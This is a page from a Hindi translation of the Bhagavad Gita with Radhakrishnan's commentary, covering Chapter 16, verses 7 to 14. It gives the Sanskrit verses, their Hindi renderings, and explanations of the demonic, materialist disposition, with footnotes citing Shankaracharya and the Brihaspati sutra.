भगवद्गीता -राधाकृष्णन पृ. 232

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अध्याय-16
दैवीय और आसुरीय मन का स्वभाव दैवीय स्वभाव वाले लोग

   
7.प्रवृत्तिं च निवृत्तिं च जना न विदुरासुराः।
न शौचं नापि चाचारो न सत्यं तेषु विद्यते।।
आसुरीय स्वभाव वाले लोग न तो कर्म (प्रवृत्ति) के मार्ग को जानते हैं और न त्याग (निवृत्ति) के मार्ग को। उनमें न पवित्रता पाई जाती है, न सदाचार और न सत्य ही उनमें पाया जाता है।

8.असत्यमप्रतिष्ठं ते जगदाहुरनीश्वरम्।
अपरस्परंसंभूत किमन्यत्कामहैतुकम्।।
वे कहते हैं कि यह संसार अवास्तविक है; इसका कोई आधार नहीं है; इसका कोई ईश्वर (स्वामी) नहीं है; यह किसी नियमित कारण के परिणामस्वरूप नहीं बना, संक्षेप में, यह केवल इच्छा द्वारा बना है।अप्रतिष्ठम्: आधार के बिना, नैतिक आधार के बिना । यह भौतिकवादियों का दृष्टिकोण है।अपरस्परसम्भूतम्: नियमित विधि से न बना हुआ। इसकी दूसरे रूप मं भी व्याख्या की गई है। ईश्वर द्वारा अधिष्ठित जगत् एक सुनिश्चित व्यवस्था के अनुसार बना है, जिसमें कि कुछ वस्तुएं नियमों के अनुसार अन्य वस्तुओं से बनती है और भौतिकवादी इस बात को अस्वीकार करते हैं कि संसार में कोई ऐसी व्यवस्था और नियम है; और उनका मत है कि वस्तुएं योंही बन जाती हैं। उनका विश्वास है कि संसार में कोई नियमित पौर्वापर्य नहीं है और यह संसार केवल आनन्द के उपभोग के लिए बना है।’’यह लोकायतिकों का दृष्टिकोण है कि काम-वासना ही सब प्राणियों का एकमात्र कारण है।’’ -शंकराचार्य।

9.एंता दृष्टिमवष्टभ्य नष्टात्मानोअल्पबुद्धयः ।
प्रभवन्त्युग्रकर्माणः क्षयाय जगतोअहिताः।।
इस दृष्टिकोण को दृढ़तापूर्वक अपनाकर ये अल्पबुद्धि, नष्टात्मा और क्रूरकर्मा लोग संसार के शत्रु बनकर इसके विनाश के लिए उठ खड़े होते हैं।

10.काममाश्रित्य दुष्पुरं दम्भमानमदान्विताः।
मोहाद्गृहीत्वासद्ग्राहान् प्रवर्तन्तेअशुचिव्रताः।।
कभी तृप्त न होने वाली लालसा के वशीभूत होकर पाखण्ड, अत्यधिक अभिमान और अहंकार से युक्त मूढ़ता के कारण गलत दृष्टिकोण अपनाकार वे अपवित्र निश्चयों के अनुसार कार्य करते हैं।बृहस्पतिसूत्र से तुलना कीजिए, जिसमें कहा गया है कि काम (वासना) ही मनुष्य का सर्वोच्च लक्ष्य है।[१]

11.चिन्तामपरिमेयां च प्रलयान्तामुपाश्रिताः।
कामोपभोगपरमा एतावदिति निश्चिताः।।
अनगिनत चिन्ताओं से, जो कि उनकी मृत्यु के साथ ही समाप्त होगी, दबे हुए और अपनी इच्छाओं की तृप्ति को ही सर्वोच्च लक्ष्य मानते हुए और यह समझते हुए कि बस, यही सब-कुछ है; यह भौतिकवादी सिद्धान्त है जो हमसे कहता है कि खाओ, पीओ और मौज करो, क्योंकि मृत्यु अवश्यम्भावी है और उसके आगे कुछ नहीं है।[२]

12.आशापाशशतैर्बद्धाः कामक्रोधपराणाः।
ईहन्ते कामभोगार्थमन्यायेनार्थसज्जयान्।।
लालसाओं के सैकड़ों जालों में बंधे हुए, वासना और क्रोध के वश में होकर वे अपनी इच्छाओं की तृप्ति के लिए अन्यायपूर्ण उपायों द्वारा ढेर-की-ढेर सम्पत्ति एकत्र करने के लिए प्रयत्न करते हैं।
 
13.इदमद्य मया लब्धमिमं प्राप्स्ये मनोरथम्।
इदमस्तीदमपि मे भविष्यति पुनर्धनम्।।
यह आज मैंने प्राप्त कर लिया है; इस इच्छा को मैं परा कर लूंगा। यह मेरा है और यह धन भी (भविष्य में) मेरा हो जाएगा।

14.असौ मया हतः शत्रुर्हनिष्ये चापरानपि।
ईश्वरोअहमहं भोगी सिद्धाअहं बलवान्सुखी।।
इस शत्रु को मैने मार डाला है और अन्य शत्रुओं को भी मैं मार डालूगा। मैं ईश्वर हूं; मैं उपभोग करने वाला हूं; मैं सफल हूं; मैं बलवान् हूं और सुखी हूं।अपने -आप को ईश्वर समझना सबसे बड़ा पाप, शैतान का पाप है।सत्ता प्राप्त करने और प्रभुत्व जमाने का प्रलोभन बहुत व्यापक रहा है। अन्य लोगों पर शासन करने की प्रवृत्ति ने मनुष्य को दास बना दिया है। दिव्य आत्माएं इस प्रलोभन को अस्वीकार कर देती हैं, जैसे कि एकान्त मे ईसा ने किया था।परन्तु आसुरी आत्माएं इन लक्ष्यों को अपना लेती हैं और वे अभिमान, आत्मश्लाघा, अतिलोभ, द्वेष और नृशंसता को गुण बताकर उनकी प्रशंसा करती हैं।


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टीका टिप्पणी और संदर्भ

  1. काम एवैकः पुरुषार्थः।
  2. यावज्जीवेत्सुखं जीवेदृण कृत्वा घृतं पिबेत्। भस्मीभूतस्य देहस्य पुनरागमनं कुतः।।

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